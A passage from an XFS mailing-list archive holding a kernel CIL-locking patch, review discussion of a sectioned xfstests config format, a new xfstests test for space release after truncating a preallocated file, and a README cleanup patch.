callbacks to the iclog we can assign the commit LSN to the context * and wake up anyone who is waiting for the commit to complete. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); ctx->commit_lsn = commit_lsn; wake_up_all(&cil->xc_commit_wait); - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* release the hounds! */ return xfs_log_release_iclog(log->l_mp, commit_iclog); @@ -644,12 +669,12 @@ xlog_cil_push_background( if (cil->xc_ctx->space_used < XLOG_CIL_SPACE_LIMIT(log)) return; - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); if (cil->xc_push_seq < cil->xc_current_sequence) { cil->xc_push_seq = cil->xc_current_sequence; queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); } @@ -672,14 +697,14 @@ xlog_cil_push_foreground( * If the CIL is empty or we've already pushed the sequence then * there's no work we need to do. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); if (list_empty(&cil->xc_cil) || push_seq <= cil->xc_push_seq) { - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); return; } cil->xc_push_seq = push_seq; - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* do the push now */ xlog_cil_push(log); @@ -706,41 +731,23 @@ xfs_log_commit_cil( int flags) { struct xlog *log = mp->m_log; + struct xfs_cil *cil = log->l_cilp; int log_flags = 0; - struct xfs_log_vec *log_vector; if (flags & XFS_TRANS_RELEASE_LOG_RES) log_flags = XFS_LOG_REL_PERM_RESERV; - /* - * Do all the hard work of formatting items (including memory - * allocation) outside the CIL context lock. This prevents stalling CIL - * pushes when we are low on memory and a transaction commit spends a - * lot of time in memory reclaim. - */ - log_vector = xlog_cil_prepare_log_vecs(tp); - if (!log_vector) - return ENOMEM; - /* lock out background commit */ - down_read(&log->l_cilp->xc_ctx_lock); + down_read(&cil->xc_ctx_lock); if (commit_lsn) - *commit_lsn = log->l_cilp->xc_ctx->sequence; + *commit_lsn = cil->xc_ctx->sequence; /* xlog_cil_insert_items() destroys log_vector list */ - xlog_cil_insert_items(log, log_vector, tp->t_ticket); + xlog_cil_insert_items(log, tp, tp->t_ticket); /* check we didn't blow the reservation */ if (tp->t_ticket->t_curr_res < 0) - xlog_print_tic_res(log->l_mp, tp->t_ticket); - - /* attach the transaction to the CIL if it has any busy extents */ - if (!list_empty(&tp->t_busy)) { - spin_lock(&log->l_cilp->xc_cil_lock); - list_splice_init(&tp->t_busy, - &log->l_cilp->xc_ctx->busy_extents); - spin_unlock(&log->l_cilp->xc_cil_lock); - } + xlog_print_tic_res(mp, tp->t_ticket); tp->t_commit_lsn = *commit_lsn; xfs_log_done(mp, tp->t_ticket, NULL, log_flags); @@ -800,7 +807,7 @@ xlog_cil_force_lsn( * on commits for those as well. */ restart: - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_for_each_entry(ctx, &cil->xc_committing, committing) { if (ctx->sequence > sequence) continue; @@ -809,7 +816,7 @@ restart: * It is still being pushed! Wait for the push to * complete, then start again from the beginning. */ - xlog_wait(&cil->xc_commit_wait, &cil->xc_cil_lock); + xlog_wait(&cil->xc_commit_wait, &cil->xc_push_lock); goto restart; } if (ctx->sequence != sequence) @@ -817,7 +824,7 @@ restart: /* found it! */ commit_lsn = ctx->commit_lsn; } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); return commit_lsn; } @@ -875,6 +882,7 @@ xlog_cil_init( INIT_LIST_HEAD(&cil->xc_cil); INIT_LIST_HEAD(&cil->xc_committing); spin_lock_init(&cil->xc_cil_lock); + spin_lock_init(&cil->xc_push_lock); init_rwsem(&cil->xc_ctx_lock); init_waitqueue_head(&cil->xc_commit_wait); diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index edd0964..56654931 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -278,13 +278,16 @@ struct xfs_cil { struct xlog *xc_log; struct list_head xc_cil; spinlock_t xc_cil_lock; - struct xfs_cil_ctx *xc_ctx; + + struct xfs_cil_ctx *xc_ctx ____cacheline_aligned_in_smp; struct rw_semaphore xc_ctx_lock; + + spinlock_t xc_push_lock ____cacheline_aligned_in_smp; struct list_head xc_committing; wait_queue_head_t xc_commit_wait; + xfs_lsn_t xc_push_seq; xfs_lsn_t xc_current_sequence; struct work_struct xc_push_work; - xfs_lsn_t xc_push_seq; }; /* diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 8e67284..157e9c4 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -140,7 +140,7 @@ typedef struct xfs_log_item { { XFS_LI_ABORTED, "ABORTED" } struct xfs_item_ops { - uint (*iop_size)(xfs_log_item_t *); + void (*iop_size)(xfs_log_item_t *, int *, int *); void (*iop_format)(xfs_log_item_t *, struct xfs_log_iovec *); void (*iop_pin)(xfs_log_item_t *); void (*iop_unpin)(xfs_log_item_t *, int remove); @@ -150,8 +150,6 @@ struct xfs_item_ops { void (*iop_committing)(xfs_log_item_t *, xfs_lsn_t); }; -#define IOP_SIZE(ip) (*(ip)->li_ops->iop_size)(ip) -#define IOP_FORMAT(ip,vp) (*(ip)->li_ops->iop_format)(ip, vp) #define IOP_PIN(ip) (*(ip)->li_ops->iop_pin)(ip) #define IOP_UNPIN(ip, remove) (*(ip)->li_ops->iop_unpin)(ip, remove) #define IOP_PUSH(ip, list) (*(ip)->li_ops->iop_push)(ip, list) -- 1.7.10.4 From lczerner@redhat.com Mon Jul 1 03:36:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F404F7F4E for ; Mon, 1 Jul 2013 03:36:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E3E7630404E for ; Mon, 1 Jul 2013 01:36:43 -0700 (PDT) X-ASG-Debug-ID: 1372667802-04cb6c2a41722500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EIrq4N3r30F3itPu for ; Mon, 01 Jul 2013 01:36:43 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r618ae5E016468 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 1 Jul 2013 04:36:40 -0400 Received: from dhcp-1-118.brq.redhat.com (dhcp-1-118.brq.redhat.com [10.34.1.118]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r618ab0W009686 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 1 Jul 2013 04:36:39 -0400 Date: Mon, 1 Jul 2013 10:36:37 +0200 (CEST) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3 v2] xfstests: Add support for sections in config file In-Reply-To: <20130701014944.GD27780@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3 v2] xfstests: Add support for sections in config file Message-ID: References: <1372426320-19902-1-git-send-email-lczerner@redhat.com> <1372426320-19902-3-git-send-email-lczerner@redhat.com> <20130701014944.GD27780@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1372667803 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, 1 Jul 2013, Dave Chinner wrote: > Date: Mon, 1 Jul 2013 11:49:44 +1000 > From: Dave Chinner > To: Lukas Czerner > Cc: xfs@oss.sgi.com > Subject: Re: [PATCH 3/3 v2] xfstests: Add support for sections in config file > > On Fri, Jun 28, 2013 at 03:32:00PM +0200, Lukas Czerner wrote: > > This patch add support for sections in the config file. Each section can > > contain configuration options in the format > > > > OPTION=value > > > > when one section is processed xfstests will proceed to next section > > until all secitons are processed, or an error occur. > > > > The name of the section can consist of alphanumeric characters + '_', > > nothing else is allowed. Name of the section is also used to create > > results subdirectory for each section. After all the sections are > > processed summary of all runs is printed out. > > > > If the config file does not contain sections, or we're not using config > > file at all, nothing is changed and xfstests will work the same way as > > it used to. > > > > This is very useful for testing file system with different options. Here > > is an example of the config file with sections: > > > > [ext4_4k_block_size] > > TEST_DEV=/dev/sda > > TEST_DIR=/mnt/test > > SCRATCH_DEV=/dev/sdb > > SCRATCH_MNT=/mnt/test1 > > MKFS_OPTIONS="-q -F -b4096" > > FSTYP=ext4 > > > > [ext4_1k_block_size] > > MKFS_OPTIONS="-q -F -b1024" > > > > [ext4_nojournal] > > MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" > > > > [ext4_discard_ssd] > > MKFS_OPTIONS="-q -F -b4096" > > TEST_DEV=/dev/sdc > > SCRATCH_DEV=/dev/sdd > > MOUNT_OPTIONS="-o discard" > > > > Note that once the variable is set it remains set across the sections, so > > you do not have to specify all the options in all sections. However one > > have to make sure that unwanted options are not set from previous > > sections. > > I like the idea, but a lot of this needs to be in the (missing) > patch 0 description for the series. YOu also need to describe how > these get invoked, what the output looks like, etc because right now > I can't work it out from this... Fair enough, I should probably describe it in the README as well. > > > Signed-off-by: Lukas Czerner > > --- > > check | 371 +++++++++++++++++++++++++++++++++------------------------- > > common/config | 126 ++++++++++++-------- > > common/rc | 63 +++++----- > > 3 files changed, 326 insertions(+), 234 deletions(-) > > This patch probably needs to be broken up, too. A substantial part > of it is indentation changes, which probably should be split into 2 > parts - factor code into function, then wrap loop around function. > The change to the summary information should be done as a separate > patch, too. I suspect many of the common/config changes coul dbe > split up, too. Ok, I'll see how can I split it up. Btw, indentation in xfstests is a mess, because sometimes we're using spaces and sometimes tabs. Is there any preference ? (I would definitely prefer tabs) > > The changing of the $RESULT_BASE should probably also > bein a separate patch, because this is something that we'll need to > discuss as it changes the structure of the output.... I am not sure it should be separate from this patch because the new structure will only be used if the new config format (with sections) is used. > > Oh, and why make a distinction between no sections and > $OPTIONS_HAVE_SECTIONS in the config file? Surely no sections is > just the same as having 1 section.... Yes, but it's much "nicer" to check boolean option than checking what is the name of the first section. Really this is just a workaround, because I did not want to change result structure and output if one is not using the new config format. It could be done so that when there are no sections we'll always use "default" section, not sure what would people prefer. > > > +parse_config_section() { > > + SECTION=$1 > > + if ! $OPTIONS_HAVE_SECTIONS; then > > + return 0 > > + fi > > + eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ > > + -e 's/#.*$//' \ > > + -e 's/[[:space:]]*$//' \ > > + -e 's/^[[:space:]]*//' \ > > + -e "s/^\(.*\)=\([^\"']*\)$/export \1=\"\2\"/" \ > > + < $HOST_OPTIONS \ > > + | sed -n -e "/^\[$SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"` > > +} > > And line noise like this needs comments explaining the format and > what it is doing. ;) Sure I'll add some comments. Thanks! -Lukas > > Cheers, > > Dave. > From david@fromorbit.com Mon Jul 1 04:13:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 95FA77F4E for ; Mon, 1 Jul 2013 04:13:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 76E79304032 for ; Mon, 1 Jul 2013 02:13:41 -0700 (PDT) X-ASG-Debug-ID: 1372670019-04cbb046919c4ff0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id eyphTr2gFskCbbKa for ; Mon, 01 Jul 2013 02:13:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoEMAE5G0VF5LakP/2dsb2JhbABagwmEArZthR8EAX0XdIIjAQEEASMPASMjBQsIAQIYAgIFIQICDwUlAyETiAkFjyGbP5BiFoEQjRsGgRcHglEzYwOXR5FGgyMq Received: from ppp121-45-169-15.lns20.syd6.internode.on.net (HELO dastard) ([121.45.169.15]) by ipmail06.adl6.internode.on.net with ESMTP; 01 Jul 2013 18:43:37 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UtaAK-0001ed-9w; Mon, 01 Jul 2013 19:12:56 +1000 Date: Mon, 1 Jul 2013 19:12:56 +1000 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3 v2] xfstests: Add support for sections in config file Message-ID: <20130701091256.GB4072@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3 v2] xfstests: Add support for sections in config file References: <1372426320-19902-1-git-send-email-lczerner@redhat.com> <1372426320-19902-3-git-send-email-lczerner@redhat.com> <20130701014944.GD27780@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1372670019 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135481 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 01, 2013 at 10:36:37AM +0200, Lukáš Czerner wrote: > On Mon, 1 Jul 2013, Dave Chinner wrote: > > > Signed-off-by: Lukas Czerner > > > --- > > > check | 371 +++++++++++++++++++++++++++++++++------------------------- > > > common/config | 126 ++++++++++++-------- > > > common/rc | 63 +++++----- > > > 3 files changed, 326 insertions(+), 234 deletions(-) > > > > This patch probably needs to be broken up, too. A substantial part > > of it is indentation changes, which probably should be split into 2 > > parts - factor code into function, then wrap loop around function. > > The change to the summary information should be done as a separate > > patch, too. I suspect many of the common/config changes coul dbe > > split up, too. > > Ok, I'll see how can I split it up. Btw, indentation in xfstests is > a mess, because sometimes we're using spaces and sometimes tabs. Is > there any preference ? (I would definitely prefer tabs) Tabs. > > The changing of the $RESULT_BASE should probably also > > bein a separate patch, because this is something that we'll need to > > discuss as it changes the structure of the output.... > > I am not sure it should be separate from this patch because the new > structure will only be used if the new config format (with sections) > is used. Which is a bit confusing, especially as a separate result directory might be desired for the output of each section - say I want to keep all the "config A" results together, but spearate to all the "config B" results. Placing them all under the same $RESULT_BASE isn't ideal at that point.... IOWs, I suspect that $RESULT_BASE should be able to be defined in the section config so that you can redirect results that way. > > Oh, and why make a distinction between no sections and > > $OPTIONS_HAVE_SECTIONS in the config file? Surely no sections is > > just the same as having 1 section.... > > Yes, but it's much "nicer" to check boolean option than checking > what is the name of the first section. Really this is just a > workaround, because I did not want to change result structure and > output if one is not using the new config format. That's another reason why I think that we should be able to have a per-section RESULTS_BASE - that way the code doesn't care how RESULTS_BASE is defined or where it points to - the output of xfstests is *always* the same. That is, after all, why $RESULTS_BASE was introduced in the first place. > It could be done > so that when there are no sections we'll always use "default" section, > not sure what would people prefer. Exactly why it needs discussion ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Mon Jul 1 05:29:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D30B97F56 for ; Mon, 1 Jul 2013 05:29:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C27818F8037 for ; Mon, 1 Jul 2013 03:29:23 -0700 (PDT) X-ASG-Debug-ID: 1372674559-04cb6c2a42725800001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id vOKOCVFzpC787DER (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 03:29:19 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r61ATIfG028225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 1 Jul 2013 10:29:19 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61ATHFI000864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Jul 2013 10:29:18 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61ATH62017737 for ; Mon, 1 Jul 2013 10:29:17 GMT Received: from [192.168.1.104] (/221.223.98.251) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 01 Jul 2013 03:29:16 -0700 Message-ID: <51D159FF.401@oracle.com> Date: Mon, 01 Jul 2013 18:29:19 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfstests: generic/315, verify preallocated disk space is released per truncate Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfstests: generic/315, verify preallocated disk space is released per truncate Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372674559 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135487 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words From: Jie Liu Introduce generic test 315 to verify if the disk space is released after truncating a preallocated file back to the old smaller size. Before Linux-3.10, Btrfs/OCFS2 test failed in this case. The test file is fallocated with FALLOC_FL_KEEP_SIZE option. Signed-off-by: Jie Liu --- tests/generic/315 | 79 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/315.out | 2 ++ tests/generic/group | 1 + 3 files changed, 82 insertions(+) mode change 100644 => 100755 tests/generic/311 create mode 100755 tests/generic/315 create mode 100644 tests/generic/315.out diff --git a/tests/generic/311 b/tests/generic/311 old mode 100644 new mode 100755 diff --git a/tests/generic/315 b/tests/generic/315 new file mode 100755 index 0000000..7cfc40d --- /dev/null +++ b/tests/generic/315 @@ -0,0 +1,79 @@ +#! /bin/bash +# FS QA Test No. 315 +# +# fallocate/truncate tests with FALLOC_FL_KEEP_SIZE option. +# Verify if the disk space is released after truncating a file back +# to the old smaller size. Before Linux 3.10, Btrfs/OCFS2 are test +# failed in this case. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=0 # success is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs generic +_supported_os Linux + +rm -f $seqres.full + +echo "Slience is golden" + +# Check the current avaliable disk space on $TEST_DIR. +# 1024KiB at least +avail_begin=`df -P $TEST_DIR | awk 'END {print $4}'` +[ "$avail_begin" -ge 1024 ] || _notrun "Test device is too small ($avail_begin KiB)" + +# Preallocate half size of the available disk space to a file +# starts from offset 0 with FALLOC_FL_KEEP_SIZE option on the +# test file system. +fallocate -n -o 0 -l $(($avail_begin/2)) $TEST_DIR/testfile.$seq >>$seqres.full 2>&1 + +# Verify the file size, it should keep unchanged as 0 in this case +fsize=`ls -l $TEST_DIR/testfile.$seq | awk '{print $5}'` +[ "$fsize" -eq 0 ] || _fail "File size is changed to ($fsize Bytes)" + +# Truncate the file size back to 0 +truncate -s 0 $TEST_DIR/testfile.$seq +sync + +# Preallocated disk space should be released +avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` +[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" + +# success, all done +exit diff --git a/tests/generic/315.out b/tests/generic/315.out new file mode 100644 index 0000000..8414add --- /dev/null +++ b/tests/generic/315.out @@ -0,0 +1,2 @@ +QA output created by 315 +Slience is golden diff --git a/tests/generic/group b/tests/generic/group index bd443c1..30889bd 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -115,3 +115,4 @@ 310 auto 311 auto metadata log 312 auto quick prealloc enospc +315 auto quick rw prealloc -- 1.7.9.5 From jeff.liu@oracle.com Mon Jul 1 05:37:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 88A1B7F56 for ; Mon, 1 Jul 2013 05:37:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 780F4304032 for ; Mon, 1 Jul 2013 03:37:11 -0700 (PDT) X-ASG-Debug-ID: 1372675030-04cb6c2a46725e70001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id JHiODFeG9JhbAS7Z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 03:37:10 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r61AUnba007196 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 1 Jul 2013 10:30:50 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61Ab8vG017479 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Jul 2013 10:37:09 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r61Ab8gh017470 for ; Mon, 1 Jul 2013 10:37:08 GMT Received: from [192.168.1.104] (/221.223.98.251) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 01 Jul 2013 03:37:08 -0700 Message-ID: <51D15BDF.9000805@oracle.com> Date: Mon, 01 Jul 2013 18:37:19 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfstests: clean up remake related matters from README Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfstests: clean up remake related matters from README Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1372675030 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135487 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Cleanup 'remake' related matters from the README file as the remake utility has already been removed by: commit 609d17c4eb911891fae3c0081c2cd1caa613c0de xfstests: remove remake script Signed-off-by: Jie Liu --- README | 3 --- 1 file changed, 3 deletions(-) diff --git a/README b/README index d4d4f31..b264a07 100644 --- a/README +++ b/README @@ -203,9 +203,6 @@ Verified output: - variable directory contents - imprecise numbers, especially sizes and times - Use the "remake" script to recreate the verified output for one - or more tests. - Pass/failure: The script "check" may be used to run one or more tests. -- 1.7.9.5 From bfoster@redhat.com Mon Jul 1 07:17:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4E7A07F53 for ; Mon, 1 Jul 2013 07:17:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D0419AC008 for ; Mon, 1 Jul 2013 05:17:10 -0700 (PDT) X-ASG-Debug-ID: 1372681029-04cb6c2a47729030001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3C2FZOgs7lBtBEVl for ; Mon, 01 Jul 2013 05:17:09 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r61CH3d0022687 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 1 Jul 2013 08:17:03 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r61CH1sH006335; Mon, 1 Jul 2013 08:17:02 -0400 Message-ID: <51D17457.7090001@redhat.com> Date: Mon, 01 Jul 2013 08:21:43 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: Dave Chinner , "Eric W. Biederman" , xfs@oss.sgi.com, Serge Hallyn Subject: Re: [PATCH 6/6] ioctl eofblocks: require non-privileged users to specify uid/gid match References: <20130619110948.0bfafa2b@oracle.com> <20130620001341.GM29338@dastard> <20130620095410.1917d235@oracle.com> 